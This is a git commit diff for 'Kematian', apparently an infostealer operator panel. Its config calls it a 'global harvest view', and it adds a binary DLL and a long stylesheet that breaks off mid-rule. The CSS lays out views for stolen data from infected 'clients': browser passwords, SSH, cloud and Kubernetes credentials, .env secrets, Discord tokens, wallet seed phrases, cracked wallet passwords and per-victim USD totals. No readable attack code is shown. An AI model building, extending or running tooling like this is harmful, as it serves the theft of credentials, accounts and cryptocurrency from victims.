commit 67eef7a5d7c5fe5dcacc8c73b95e262990fbb082 Author: i2p Date: Thu Aug 27 18:31:01 2026 +0000 initial commit diff --git a/._. b/._. new file mode 100755 index 0000000..0c4cebe Binary files /dev/null and b/._. differ diff --git a/._config.json b/._config.json new file mode 100644 index 0000000..0c4cebe Binary files /dev/null and b/._config.json differ diff --git a/._kematian-windows-amd64.dll b/._kematian-windows-amd64.dll new file mode 100644 index 0000000..0c4cebe Binary files /dev/null and b/._kematian-windows-amd64.dll differ diff --git a/._kematian.css b/._kematian.css new file mode 100644 index 0000000..0c4cebe Binary files /dev/null and b/._kematian.css differ diff --git a/._kematian.html b/._kematian.html new file mode 100644 index 0000000..0c4cebe Binary files /dev/null and b/._kematian.html differ diff --git a/._kematian.js b/._kematian.js new file mode 100644 index 0000000..0c4cebe Binary files /dev/null and b/._kematian.js differ diff --git a/._server.js b/._server.js new file mode 100644 index 0000000..0c4cebe Binary files /dev/null and b/._server.js differ diff --git a/._signature.json b/._signature.json new file mode 100644 index 0000000..0c4cebe Binary files /dev/null and b/._signature.json differ diff --git a/config.json b/config.json new file mode 100644 index 0000000..0d347f0 --- /dev/null +++ b/config.json @@ -0,0 +1,9 @@ +{ + "name": "Kematian", + "version": "1.0.0", + "description": "Browser credential recovery — global harvest view", + "navbar": { + "label": "Kematian", + "icon": "fa-skull" + } +} diff --git a/kematian-windows-amd64.dll b/kematian-windows-amd64.dll new file mode 100644 index 0000000..0a57303 Binary files /dev/null and b/kematian-windows-amd64.dll differ diff --git a/kematian.css b/kematian.css new file mode 100644 index 0000000..6f4ca9e --- /dev/null +++ b/kematian.css @@ -0,0 +1,867 @@ +/* ── Reset & Base ───────────────────────────────────────────── */ +*, *::before, *::after { box-sizing: border-box; } + +:root { + --bg: #0a0d14; + --surface: rgba(20, 28, 50, 0.80); + --surface-hover: rgba(28, 38, 65, 0.92); + --border: rgba(51, 65, 100, 0.42); + --border-accent: rgba(99, 102, 241, 0.38); + --radius-lg: 14px; + --radius-md: 10px; + --radius-sm: 6px; + --radius-pill: 999px; + --text: #e2e8f0; + --text-muted: #94a3b8; + --text-dim: #475569; + --accent: #6366f1; + --accent-hover: #818cf8; + --accent-dim: rgba(99, 102, 241, 0.14); + --success: #22c55e; + --danger: #ef4444; + --danger-dim: rgba(239, 68, 68, 0.14); + --font: "Inter", "Segoe UI", system-ui, -apple-system, sans-serif; + --mono: "JetBrains Mono", "Cascadia Code", "Consolas", monospace; +} + +body { + margin: 0; + background: var(--bg); + color: var(--text); + font-family: var(--font); + font-size: 14px; + line-height: 1.5; + min-height: 100vh; +} + +/* ── Layout ─────────────────────────────────────────────────── */ +.container { max-width: 1280px; margin: 0 auto; padding: 28px 20px 52px; } + +/* ── Header ─────────────────────────────────────────────────── */ +.header { margin-bottom: 22px; } +.header h1 { + margin: 0 0 4px; + font-size: 22px; + font-weight: 700; + letter-spacing: -0.3px; + background: linear-gradient(120deg, #e2e8f0 30%, #a5b4fc 100%); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + background-clip: text; +} +.header .sub { margin: 0; font-size: 13px; color: var(--text-muted); } + +/* ── Cards ──────────────────────────────────────────────────── */ +.card { + background: var(--surface); + border: 1px solid var(--border); + border-radius: var(--radius-lg); + padding: 18px 20px; + margin-bottom: 14px; + backdrop-filter: blur(10px); +} +.card > h2 { + margin: 0 0 14px; + font-size: 11px; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.1em; + color: var(--text-dim); +} + +/* ── Control rows ───────────────────────────────────────────── */ +.row { display: flex; align-items: center; gap: 12px; margin-bottom: 10px; } +.label { + min-width: 76px; + font-size: 11px; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.07em; + color: var(--text-dim); +} +.input { + flex: 1; + background: rgba(0,0,0,0.38); + border: 1px solid var(--border); + border-radius: var(--radius-sm); + color: var(--text); + padding: 7px 10px; + font-family: var(--mono); + font-size: 12px; + outline: none; + transition: border-color 0.15s; +} +.input:focus { border-color: var(--accent); } + +/* ── Status row ─────────────────────────────────────────────── */ +.status-row { + display: flex; align-items: center; gap: 8px; + margin-bottom: 14px; font-size: 13px; color: var(--text-muted); +} +.dot { width: 8px; height: 8px; border-radius: 50%; flex-shrink: 0; } +.dot-off { background: #1e293b; } +.dot-on { background: var(--success); box-shadow: 0 0 8px rgba(34,197,94,0.55); } + +/* ── Buttons ────────────────────────────────────────────────── */ +.actions { display: flex; gap: 8px; flex-wrap: wrap; } + +.btn { + display: inline-flex; align-items: center; gap: 6px; + padding: 7px 14px; + border-radius: var(--radius-sm); + border: 1px solid var(--border); + background: rgba(255,255,255,0.055); + color: var(--text); + font-family: var(--font); font-size: 13px; font-weight: 500; + cursor: pointer; white-space: nowrap; + transition: background 0.12s, border-color 0.12s, transform 0.1s, box-shadow 0.1s; +} +.btn:hover:not(:disabled) { + background: rgba(255,255,255,0.11); + border-color: rgba(255,255,255,0.18); + transform: translateY(-1px); + box-shadow: 0 4px 12px rgba(0,0,0,0.3); +} +.btn:active:not(:disabled) { transform: translateY(0); box-shadow: none; } +.btn:disabled { opacity: 0.36; cursor: not-allowed; } + +.btn-green { + background: linear-gradient(135deg, #166534, #16a34a); + border-color: transparent; color: #fff; + box-shadow: 0 2px 8px rgba(34,197,94,0.22); +} +.btn-green:hover:not(:disabled) { + background: linear-gradient(135deg, #16a34a, #22c55e); + box-shadow: 0 4px 14px rgba(34,197,94,0.32); +} + +.btn-danger { + background: var(--danger-dim); border-color: rgba(239,68,68,0.28); color: #f87171; +} +.btn-danger:hover:not(:disabled) { + background: rgba(239,68,68,0.24); border-color: rgba(239,68,68,0.48); +} + +.btn-danger-sm { + display: inline-flex; align-items: center; + padding: 4px 10px; border-radius: var(--radius-sm); + border: 1px solid rgba(239,68,68,0.22); + background: rgba(239,68,68,0.08); + color: #f87171; font-family: var(--font); font-size: 12px; + cursor: pointer; + transition: background 0.12s, border-color 0.12s; +} +.btn-danger-sm:hover { + background: rgba(239,68,68,0.2); border-color: rgba(239,68,68,0.44); +} + +/* ── Log ────────────────────────────────────────────────────── */ +.log { + background: rgba(0,0,0,0.48); + border: 1px solid var(--border); + border-radius: var(--radius-sm); + padding: 10px 12px; + max-height: 170px; overflow: auto; + font-family: var(--mono); font-size: 11px; line-height: 1.65; + color: var(--text-muted); + margin: 10px 0 0; + white-space: pre-wrap; word-break: break-all; +} + +/* ── Global stats bar ───────────────────────────────────────── */ +.global-stats { + display: flex; align-items: center; gap: 6px; + flex-wrap: wrap; margin-bottom: 14px; + font-size: 13px; color: var(--text-muted); +} +.gstat { display: inline-flex; align-items: center; gap: 5px; } +.gstat strong { color: var(--text); font-weight: 600; } +.gstat-sep { color: rgba(255,255,255,0.12); font-size: 16px; } + +/* ── Settings card ──────────────────────────────────────────── */ +.settings-grid { + display: flex; flex-direction: column; gap: 2px; +} +.settings-grid.disabled { + opacity: 0.5; pointer-events: none; +} +.setting-row { + display: flex; align-items: center; justify-content: space-between; + padding: 12px 14px; + background: rgba(255,255,255,0.02); + border-radius: var(--radius-sm); + transition: background 0.12s; +} +.setting-row:hover { background: rgba(255,255,255,0.04); } +.setting-sub { + padding-left: 32px; + transition: opacity 0.15s; +} +.setting-info { display: flex; flex-direction: column; gap: 2px; } +.setting-name { font-size: 13px; font-weight: 500; color: var(--text); } +.setting-desc { font-size: 11px; color: var(--text-dim); } +.settings-notice { + font-size: 12px; color: var(--text-dim); + padding: 8px 12px; margin-bottom: 10px; + background: rgba(255,255,255,0.03); + border: 1px solid var(--border); + border-radius: var(--radius-sm); +} +.settings-status { + display: block; + font-size: 11px; color: var(--text-dim); + margin-top: 8px; min-height: 16px; +} + +/* ── Toggle ─────────────────────────────────────────────────── */ +.toggle-label { + display: inline-flex; align-items: center; + cursor: pointer; user-select: none; flex-shrink: 0; +} +.toggle-label input[type="checkbox"] { display: none; } +.toggle-track { + width: 36px; height: 20px; border-radius: 10px; + background: rgba(255,255,255,0.1); + border: 1px solid rgba(255,255,255,0.15); + position: relative; flex-shrink: 0; + transition: background 0.2s, border-color 0.2s; +} +.toggle-thumb { + position: absolute; top: 2px; left: 2px; + width: 14px; height: 14px; border-radius: 50%; + background: #64748b; + transition: transform 0.2s, background 0.2s; +} +.toggle-label input:checked ~ .toggle-track { + background: rgba(34,197,94,0.28); + border-color: rgba(34,197,94,0.5); +} +.toggle-label input:checked ~ .toggle-track .toggle-thumb { + transform: translateX(16px); + background: var(--success); +} + +/* ── Clients grid ───────────────────────────────────────────── */ +.clients-list { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(270px, 1fr)); + gap: 10px; +} +.client-item { + background: rgba(20, 30, 55, 0.65); + border: 1px solid var(--border); + border-radius: var(--radius-md); + padding: 14px; + transition: border-color 0.15s, box-shadow 0.15s; +} +.client-item:hover { + border-color: var(--border-accent); + box-shadow: 0 0 0 1px rgba(99,102,241,0.08); +} +.client-item-header { + display: flex; align-items: center; + justify-content: space-between; margin-bottom: 10px; +} +.client-id-badge { + font-family: var(--mono); font-size: 12px; font-weight: 600; + color: #a78bfa; + background: rgba(139,92,246,0.12); + border: 1px solid rgba(139,92,246,0.24); + padding: 2px 9px; border-radius: var(--radius-pill); +} +.client-ts { font-size: 11px; color: var(--text-dim); } +.client-counts { display: flex; gap: 5px; flex-wrap: wrap; margin-bottom: 10px; } +.client-count { + background: rgba(255,255,255,0.04); + border: 1px solid rgba(255,255,255,0.07); + border-radius: var(--radius-pill); + padding: 2px 9px; font-size: 11px; color: var(--text-dim); white-space: nowrap; +} +.client-item-actions { display: flex; gap: 6px; } + +/* ── Data card top ──────────────────────────────────────────── */ +.data-top { display: flex; flex-direction: column; gap: 10px; margin-bottom: 14px; } +.data-controls { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; } +.search-input { flex: 1; min-width: 160px; } + +/* ── Tabs ───────────────────────────────────────────────────── */ +.tabs { display: flex; gap: 4px; flex-wrap: wrap; } +.tab { + display: inline-flex; align-items: center; gap: 6px; + padding: 6px 13px; + border-radius: var(--radius-sm); + border: 1px solid var(--border); + background: rgba(255,255,255,0.04); + color: var(--text-muted); + font-family: var(--font); font-size: 12px; font-weight: 500; + cursor: pointer; + transition: background 0.12s, color 0.12s, border-color 0.12s; +} +.tab:hover { background: rgba(255,255,255,0.09); color: var(--text); } +.tab.active { + background: var(--accent-dim); + border-color: var(--border-accent); + color: #a5b4fc; +} +.tab-count { + background: rgba(255,255,255,0.09); + border-radius: var(--radius-pill); + padding: 1px 7px; font-size: 10px; font-weight: 600; + min-width: 20px; text-align: center; +} +.tab.active .tab-count { background: rgba(99,102,241,0.28); color: #c7d2fe; } + +/* ── Browser filter pills ───────────────────────────────────── */ +.bfilts { display: flex; gap: 4px; flex-shrink: 0; flex-wrap: wrap; align-items: center; } +.bfilt-sep { width: 1px; height: 18px; background: rgba(255,255,255,0.12); margin: 0 4px; } +.history-view-toggle { display: flex; gap: 4px; } +.bfilt { + padding: 4px 10px; border-radius: var(--radius-pill); + border: 1px solid rgba(255,255,255,0.1); + background: transparent; color: var(--text-muted); + font-family: var(--font); font-size: 12px; cursor: pointer; + transition: background 0.12s, color 0.12s, border-color 0.12s; +} +.bfilt:hover { color: var(--text); border-color: rgba(255,255,255,0.2); } +.bfilt.active { color: var(--text); } +.bfilt[data-browser="all"].active { background: rgba(255,255,255,0.1); border-color: rgba(255,255,255,0.25); } +.bfilt[data-browser="Chrome"].active { background: rgba(66,133,244,0.16); border-color: #4285f4; color: #6ba3f5; } +.bfilt[data-browser="Edge"].active { background: rgba(0,120,215,0.16); border-color: #0078d7; color: #4aa8f5; } +.bfilt[data-browser="Brave"].active { background: rgba(251,84,43,0.16); border-color: #fb542b; color: #fb7a5a; } +.bfilt[data-browser="Vivaldi"].active { background: rgba(239,59,73,0.16); border-color: #ef3b49; color: #f07280; } +.bfilt[data-browser="Yandex"].active { background: rgba(252,204,0,0.16); border-color: #fccc00; color: #f5c842; } +.bfilt[data-browser="Arc"].active { background: rgba(80,120,255,0.16); border-color: #5078ff; color: #8eaaff; } +.bfilt[data-browser="Opera"].active { background: rgba(255,30,30,0.16); border-color: #ff1e1e; color: #ff6b6b; } +.bfilt[data-browser="Opera GX"].active { background: rgba(193,0,255,0.16); border-color: #c100ff; color: #d966ff; } +.bfilt[data-browser="Firefox"].active { background: rgba(255,100,0,0.16); border-color: #ff6400; color: #ff8c42; } +.bfilt[data-browser="Waterfox"].active { background: rgba(0,180,220,0.16); border-color: #00b4dc; color: #40c8e8; } + +/* ── Client filter pills ────────────────────────────────────── */ +.cfilts { display: flex; gap: 4px; flex-wrap: wrap; } +.cfilt { + padding: 4px 10px; border-radius: var(--radius-pill); + border: 1px solid rgba(255,255,255,0.1); + background: transparent; color: var(--text-dim); + font-family: var(--mono); font-size: 11px; cursor: pointer; + transition: background 0.12s, color 0.12s, border-color 0.12s; +} +.cfilt:hover { color: var(--text); border-color: rgba(255,255,255,0.2); } +.cfilt.active { + background: rgba(139,92,246,0.14); + border-color: rgba(139,92,246,0.38); + color: #a78bfa; +} + +/* ── Table ──────────────────────────────────────────────────── */ +.table-wrap { + overflow: auto; + max-height: 540px; + border: 1px solid var(--border); + border-radius: var(--radius-md); +} +.data-table { width: 100%; border-collapse: collapse; font-size: 12px; table-layout: auto; } +.data-table thead { position: sticky; top: 0; z-index: 2; } +.data-table th { + text-align: left; padding: 8px 12px; + border-bottom: 1px solid var(--border); + background: rgba(8,10,20,0.98); + color: var(--text-dim); + white-space: nowrap; cursor: pointer; user-select: none; + font-size: 10px; font-weight: 600; + text-transform: uppercase; letter-spacing: 0.09em; +} +.data-table th:hover { color: var(--text-muted); } +.data-table th .sort-arrow { display: inline-block; margin-left: 4px; opacity: 0.3; } +.data-table th.sort-asc .sort-arrow, +.data-table th.sort-desc .sort-arrow { opacity: 1; color: var(--accent-hover); } +.data-table td { + padding: 6px 12px; + border-bottom: 1px solid rgba(255,255,255,0.025); + color: #cbd5e1; + max-width: 260px; overflow: hidden; + text-overflow: ellipsis; white-space: nowrap; + cursor: default; +} +.data-table td:hover { + background: rgba(99,102,241,0.06); +} +.data-table tr:last-child td { border-bottom: none; } +.data-table tbody tr:hover td { background: rgba(255,255,255,0.022); } + +/* ── Badges ─────────────────────────────────────────────────── */ +.badge { + display: inline-block; padding: 2px 8px; border-radius: var(--radius-pill); + font-size: 11px; font-weight: 500; white-space: nowrap; +} +.badge-Chrome { background: rgba(66,133,244,0.12); color: #6ba3f5; border: 1px solid rgba(66,133,244,0.24); } +.badge-Edge { background: rgba(0,120,215,0.12); color: #4aa8f5; border: 1px solid rgba(0,120,215,0.24); } +.badge-Brave { background: rgba(251,84,43,0.12); color: #fb7a5a; border: 1px solid rgba(251,84,43,0.24); } +.badge-Vivaldi { background: rgba(239,59,73,0.12); color: #f07280; border: 1px solid rgba(239,59,73,0.24); } +.badge-Yandex { background: rgba(252,204,0,0.12); color: #f5c842; border: 1px solid rgba(252,204,0,0.24); } +.badge-Arc { background: rgba(80,120,255,0.12); color: #8eaaff; border: 1px solid rgba(80,120,255,0.24); } +.badge-Opera { background: rgba(255,30,30,0.12); color: #ff6b6b; border: 1px solid rgba(255,30,30,0.24); } +.badge-Opera-GX { background: rgba(193,0,255,0.12); color: #d966ff; border: 1px solid rgba(193,0,255,0.24); } +.badge-Firefox { background: rgba(255,100,0,0.12); color: #ff8c42; border: 1px solid rgba(255,100,0,0.24); } +.badge-Waterfox { background: rgba(0,180,220,0.12); color: #40c8e8; border: 1px solid rgba(0,180,220,0.24); } +.badge-ssh { background: rgba(34,197,94,0.12); color: #4ade80; border: 1px solid rgba(34,197,94,0.24); } +.badge-ssh_config { background: rgba(34,197,94,0.12); color: #4ade80; border: 1px solid rgba(34,197,94,0.24); } +.badge-aws { background: rgba(255,153,0,0.12); color: #ffb84d; border: 1px solid rgba(255,153,0,0.24); } +.badge-gcp { background: rgba(66,133,244,0.12); color: #6ba3f5; border: 1px solid rgba(66,133,244,0.24); } +.badge-azure { background: rgba(0,120,215,0.12); color: #4aa8f5; border: 1px solid rgba(0,120,215,0.24); } +.badge-docker { background: rgba(0,150,214,0.12); color: #47b5e6; border: 1px solid rgba(0,150,214,0.24); } +.badge-kubernetes { background: rgba(50,109,230,0.12); color: #6b8ef5; border: 1px solid rgba(50,109,230,0.24); } +.badge-env { background: rgba(139,92,246,0.12); color: #a78bfa; border: 1px solid rgba(139,92,246,0.24); } +.badge-client { + background: rgba(139,92,246,0.12); color: #a78bfa; + border: 1px solid rgba(139,92,246,0.24); + font-family: var(--mono); +} +.badge-seed { + background: rgba(250,204,21,0.12); color: #fbbf24; + border: 1px solid rgba(250,204,21,0.32); font-weight: 600; +} +.badge-wallet { + background: rgba(245,158,11,0.14); color: #f59e0b; + border: 1px solid rgba(245,158,11,0.34); font-weight: 600; +} + +/* ── Sensitive fields ───────────────────────────────────────── */ +.sensitive { font-family: var(--mono); letter-spacing: 2px; color: #334155; } +.sensitive.revealed { letter-spacing: normal; color: #cbd5e1; } + +/* ── Boolean cells ──────────────────────────────────────────── */ +.bool-yes { color: var(--success); } +.bool-no { color: #1e293b; } + +/* ── Copy flash ─────────────────────────────────────────────── */ +.copied-flash { background: rgba(99,102,241,0.1) !important; transition: background 0.3s; } + +/* ── Table footer ───────────────────────────────────────────── */ +.table-foot { + display: flex; align-items: center; + justify-content: space-between; + flex-wrap: wrap; gap: 8px; + margin-top: 10px; font-size: 12px; color: var(--text-dim); +} + +/* ── Pagination bar ─────────────────────────────────────────── */ +.pagination-bar { display: flex; align-items: center; gap: 8px; font-size: 12px; color: var(--text-muted); } +.pagination-bar .btn { padding: 4px 10px; font-size: 12px; } + +/* ── Reveal label ───────────────────────────────────────────── */ +.reveal-label { + display: flex; align-items: center; gap: 6px; + cursor: pointer; color: var(--text-muted); font-size: 12px; +} +.reveal-label input { cursor: pointer; accent-color: var(--accent); } + +/* ── Empty state ────────────────────────────────────────────── */ +.no-rows { padding: 44px; text-align: center; color: var(--text-dim); font-size: 13px; } + +/* ── Download buttons ───────────────────────────────────────── */ +.btn-dl { + background: rgba(255,255,255,0.055); + border: 1px solid rgba(255,255,255,0.11); + color: var(--text-muted); + padding: 3px 9px; border-radius: var(--radius-sm); + cursor: pointer; font-size: 11px; font-family: var(--font); + transition: background 0.12s, color 0.12s, border-color 0.12s; + white-space: nowrap; +} +.btn-dl:hover:not(:disabled) { + background: rgba(99,102,241,0.15); + border-color: rgba(99,102,241,0.32); + color: #a5b4fc; +} +.btn-dl:disabled { opacity: 0.32; cursor: not-allowed; } + +/* ── Discord profile view ───────────────────────────────────── */ +.dp-toolbar { + display: flex; align-items: center; gap: 10px; + margin-bottom: 14px; flex-wrap: wrap; +} +.dp-enrich-status { font-size: 12px; color: var(--text-muted); } + +.dp-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); + gap: 12px; +} + +.dp-card { + background: rgba(88, 101, 242, 0.06); + border: 1px solid rgba(88, 101, 242, 0.22); + border-radius: var(--radius-md); + padding: 14px 16px; + display: flex; flex-direction: column; gap: 10px; + transition: border-color 0.15s, box-shadow 0.15s; +} +.dp-card:hover { + border-color: rgba(88, 101, 242, 0.44); + box-shadow: 0 0 0 1px rgba(88, 101, 242, 0.1); +} + +.dp-card-top { display: flex; align-items: flex-start; gap: 12px; } +.dp-avatar-wrap { flex-shrink: 0; } +.dp-avatar { + width: 52px; height: 52px; border-radius: 50%; + object-fit: cover; + border: 2px solid rgba(88, 101, 242, 0.32); + display: flex; align-items: center; justify-content: center; + font-size: 20px; font-weight: 700; color: var(--text-muted); +} +.dp-avatar-default { background: rgba(88, 101, 242, 0.18); color: #a5b4fc; } +.dp-avatar-pending { background: rgba(255,255,255,0.05); color: #475569; } +.dp-avatar-err { background: rgba(239,68,68,0.12); color: #f87171; } + +.dp-identity { flex: 1; min-width: 0; } +.dp-displayname { + font-size: 15px; font-weight: 600; color: var(--text); + white-space: nowrap; overflow: hidden; text-overflow: ellipsis; +} +.dp-tag { + font-family: var(--mono); font-size: 11px; color: var(--text-muted); + margin-top: 2px; +} +.dp-created { font-size: 11px; color: var(--text-dim); margin-top: 4px; } +.dp-err-msg { color: #f87171; } + +.dp-badges-col { + display: flex; flex-direction: column; gap: 4px; align-items: flex-end; + flex-shrink: 0; +} +.dp-badge { + display: inline-block; + padding: 2px 8px; border-radius: var(--radius-pill); + font-size: 10px; font-weight: 600; white-space: nowrap; + background: rgba(88, 101, 242, 0.16); + border: 1px solid rgba(88, 101, 242, 0.32); + color: #a5b4fc; +} +.dp-badge-nitro { + background: rgba(250, 168, 216, 0.14); + border-color: rgba(250, 168, 216, 0.32); + color: #f9a8d4; +} + +.dp-stats-row { display: flex; gap: 6px; flex-wrap: wrap; } +.dp-stat { + flex: 1; min-width: 52px; + display: flex; flex-direction: column; align-items: center; + background: rgba(255,255,255,0.04); + border: 1px solid rgba(255,255,255,0.07); + border-radius: var(--radius-sm); + padding: 6px 4px; +} +.dp-stat-val { font-size: 14px; font-weight: 700; color: var(--text); } +.dp-stat-lbl { + font-size: 9px; font-weight: 600; text-transform: uppercase; + letter-spacing: 0.07em; color: var(--text-dim); margin-top: 2px; +} + +.dp-detail-row { display: flex; align-items: baseline; gap: 8px; font-size: 12px; } +.dp-detail-lbl { + font-size: 10px; font-weight: 600; text-transform: uppercase; + letter-spacing: 0.07em; color: var(--text-dim); min-width: 44px; +} +.dp-detail-val { color: var(--text-muted); flex: 1; } +.dp-guild-list { + white-space: nowrap; overflow: hidden; text-overflow: ellipsis; + max-width: 220px; +} +.dp-guilds .dp-detail-val { overflow: hidden; } + +.dp-token-row { display: flex; align-items: center; gap: 8px; } +.dp-token-label { + font-size: 10px; font-weight: 600; text-transform: uppercase; + letter-spacing: 0.07em; color: var(--text-dim); flex-shrink: 0; +} +.dp-token { + flex: 1; font-family: var(--mono); font-size: 11px; + overflow: hidden; text-overflow: ellipsis; white-space: nowrap; + cursor: pointer; border-radius: 3px; padding: 1px 4px; + transition: background 0.12s; +} +.dp-token:hover { background: rgba(255,255,255,0.06); } + +.dp-actions { display: flex; align-items: center; gap: 8px; } +.dp-uid { + font-family: var(--mono); font-size: 10px; color: var(--text-dim); + margin-left: auto; +} + +/* ── Wallet card view ──────────────────────────────────────── */ +.wl-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); + gap: 12px; +} + +.wl-card { + background: rgba(245, 158, 11, 0.05); + border: 1px solid rgba(245, 158, 11, 0.22); + border-radius: var(--radius-md); + padding: 14px 16px; + display: flex; flex-direction: column; gap: 10px; + transition: border-color 0.15s, box-shadow 0.15s; +} +.wl-card:hover { + border-color: rgba(245, 158, 11, 0.44); + box-shadow: 0 0 0 1px rgba(245, 158, 11, 0.1); +} + +.wl-card-top { display: flex; align-items: flex-start; gap: 12px; } +.wl-icon { + width: 42px; height: 42px; border-radius: 10px; + display: flex; align-items: center; justify-content: center; + font-size: 20px; flex-shrink: 0; + border: 1px solid rgba(245, 158, 11, 0.28); +} +.wl-icon-ext { background: rgba(99, 102, 241, 0.14); border-color: rgba(99, 102, 241, 0.28); } +.wl-icon-desk { background: rgba(245, 158, 11, 0.14); } + +.wl-identity { flex: 1; min-width: 0; } +.wl-name { + font-size: 14px; font-weight: 600; color: var(--text); + white-space: nowrap; overflow: hidden; text-overflow: ellipsis; +} +.wl-meta { + font-size: 11px; color: var(--text-dim); margin-top: 2px; + display: flex; gap: 8px; flex-wrap: wrap; +} +.wl-type-badge { + display: inline-block; padding: 2px 8px; border-radius: var(--radius-pill); + font-size: 10px; font-weight: 600; +} +.wl-type-ext { + background: rgba(99, 102, 241, 0.14); color: #a5b4fc; + border: 1px solid rgba(99, 102, 241, 0.28); +} +.wl-type-desk { + background: rgba(245, 158, 11, 0.14); color: #f59e0b; + border: 1px solid rgba(245, 158, 11, 0.28); +} + +.wl-stats-row { display: flex; gap: 6px; flex-wrap: wrap; } +.wl-stat { + flex: 1; min-width: 52px; + display: flex; flex-direction: column; align-items: center; + background: rgba(255,255,255,0.04); + border: 1px solid rgba(255,255,255,0.07); + border-radius: var(--radius-sm); + padding: 6px 4px; +} +.wl-stat-val { font-size: 14px; font-weight: 700; color: var(--text); } +.wl-stat-lbl { + font-size: 9px; font-weight: 600; text-transform: uppercase; + letter-spacing: 0.07em; color: var(--text-dim); margin-top: 2px; +} + +.wl-addrs { + display: flex; flex-direction: column; gap: 3px; + max-height: 100px; overflow-y: auto; +} +.wl-addr { + font-family: var(--mono); font-size: 11px; color: var(--text-muted); + cursor: pointer; padding: 2px 6px; border-radius: 3px; + white-space: nowrap; overflow: hidden; text-overflow: ellipsis; + transition: background 0.12s; +} +.wl-addr:hover { background: rgba(255,255,255,0.06); } + +.wl-balances { + display: flex; gap: 6px; flex-wrap: wrap; +} +.wl-bal-chip { + display: inline-flex; align-items: center; gap: 4px; + padding: 3px 10px; border-radius: var(--radius-pill); + font-size: 11px; font-weight: 600; + background: rgba(34, 197, 94, 0.1); + border: 1px solid rgba(34, 197, 94, 0.28); + color: #22c55e; +} +.wl-bal-chip-zero { + background: rgba(255,255,255,0.03); + border-color: rgba(255,255,255,0.07); + color: var(--text-dim); + font-weight: 400; +} + +.wl-vault-badge { + display: inline-flex; align-items: center; gap: 4px; + padding: 3px 10px; border-radius: var(--radius-pill); + font-size: 11px; font-weight: 600; + background: rgba(168, 85, 247, 0.12); + border: 1px solid rgba(168, 85, 247, 0.32); + color: #c084fc; +} + +.wl-crack-result { + font-size: 12px; padding: 8px 10px; + background: rgba(34, 197, 94, 0.08); + border: 1px solid rgba(34, 197, 94, 0.24); + border-radius: var(--radius-sm); + color: #86efac; +} +.wl-crack-result .wl-crack-pw { + font-family: var(--mono); color: #22c55e; font-weight: 600; +} +.wl-crack-fail { + background: rgba(239, 68, 68, 0.08); + border-color: rgba(239, 68, 68, 0.24); + color: #fca5a5; +} + +.wl-accounts { + display: flex; flex-direction: column; gap: 6px; + max-height: 200px; overflow-y: auto; + margin-top: 8px; +} +.wl-account { + font-family: var(--mono); font-size: 11px; color: var(--text-muted); + padding: 2px 6px; cursor: pointer; border-radius: 3px; + white-space: nowrap; overflow: hidden; text-overflow: ellipsis; + transition: background 0.12s; +} +.wl-account:hover { background: rgba(255,255,255,0.06); } + +.wl-mnemonic { + font-family: var(--mono); font-size: 11px; color: #fbbf24; + background: rgba(250, 204, 21, 0.06); + border: 1px solid rgba(250, 204, 21, 0.18); + border-radius: var(--radius-sm); + padding: 6px 8px; cursor: pointer; + word-break: break-all; + transition: background 0.12s; +} +.wl-mnemonic:hover { background: rgba(250, 204, 21, 0.12); } + +.wl-crack-warning { + font-size: 11px; padding: 6px 10px; margin-bottom: 6px; + background: rgba(250, 204, 21, 0.08); + border: 1px solid rgba(250, 204, 21, 0.24); + border-radius: var(--radius-sm); + color: #fbbf24; +} + +.wl-usd-total { + font-size: 22px; font-weight: 700; color: #22c55e; + padding: 6px 0; margin-top: 4px; +} +.wl-usd-zero { + color: var(--text-dim); font-weight: 400; +} + +.wl-bal-row { + display: flex; gap: 6px; flex-wrap: wrap; margin-top: 6px; +} + +.wl-check-bal-btn { + margin-top: 8px; +} + +.wl-actions { display: flex; align-items: center; gap: 8px; } +.wl-downloaded { + font-size: 10px; color: var(--text-dim); margin-left: auto; +} + +/* ── Summary Dashboard ─────────────────────────────────────── */ +.summary-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 12px; } +.summary-header h2 { margin: 0; font-size: 16px; } +.summary-totals { display: flex; align-items: baseline; gap: 12px; } +.summary-usd { font-size: 28px; font-weight: 700; color: #22c55e; } +.summary-meta { font-size: 12px; color: var(--text-dim); } + +.summary-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); gap: 10px; } +.summary-client-card { + background: rgba(255,255,255,0.02); border: 1px solid rgba(255,255,255,0.08); + border-radius: var(--radius-sm); padding: 12px; display: flex; flex-direction: column; gap: 8px; +} +.summary-client-top { display: flex; align-items: center; justify-content: space-between; } +.summary-client-usd { font-size: 16px; font-weight: 700; color: #22c55e; } +.summary-client-counts { display: flex; gap: 8px; flex-wrap: wrap; font-size: 11px; color: var(--text-dim); } +.summary-wallets { display: flex; gap: 6px; flex-wrap: wrap; } +.summary-wallet { + font-size: 11px; padding: 3px 8px; border-radius: var(--radius-pill); + border: 1px solid rgba(255,255,255,0.1); color: var(--text-muted); +} +.summary-wallet.cracked { + background: rgba(34,197,94,0.1); border-color: rgba(34,197,94,0.28); color: #22c55e; +} +.summary-wallet.cracked b { margin-left: 4px; } +.summary-wallet.failed { + background: rgba(239,68,68,0.06); border-color: rgba(239,68,68,0.2); color: #fca5a5; +} +.summary-wallet.pending { color: var(--text-dim); border-style: dashed; } + +/* ── Search All ─────────────────────────────────────────────── */ +.search-all-grid { display: flex; flex-direction: column; gap: 16px; max-height: 600px; overflow-y: auto; } +.search-group { + border: 1px solid var(--border); + border-radius: var(--radius-md); + background: var(--surface); + overflow: hidden; +} +.search-group-header { + display: flex; align-items: center; justify-content: space-between; + padding: 8px 14px; + background: rgba(255,255,255,0.03); + border-bottom: 1px solid var(--border); + cursor: pointer; + transition: background 0.12s; +} +.search-group-header:hover { background: rgba(255,255,255,0.06); } +.search-group-title { + font-size: 13px; font-weight: 600; color: var(--text); + display: flex; align-items: center; gap: 8px; +} +.search-group-count { + font-size: 11px; font-weight: 600; + background: var(--accent-dim); + color: #a5b4fc; + padding: 1px 8px; + border-radius: var(--radius-pill); +} +.search-group-view { + font-size: 11px; color: var(--accent-hover); + display: flex; align-items: center; gap: 4px; +} +.search-group-table { + width: 100%; border-collapse: collapse; table-layout: fixed; +} +.search-group-table th { + text-align: left; padding: 4px 10px; + font-size: 10px; font-weight: 600; text-transform: uppercase; 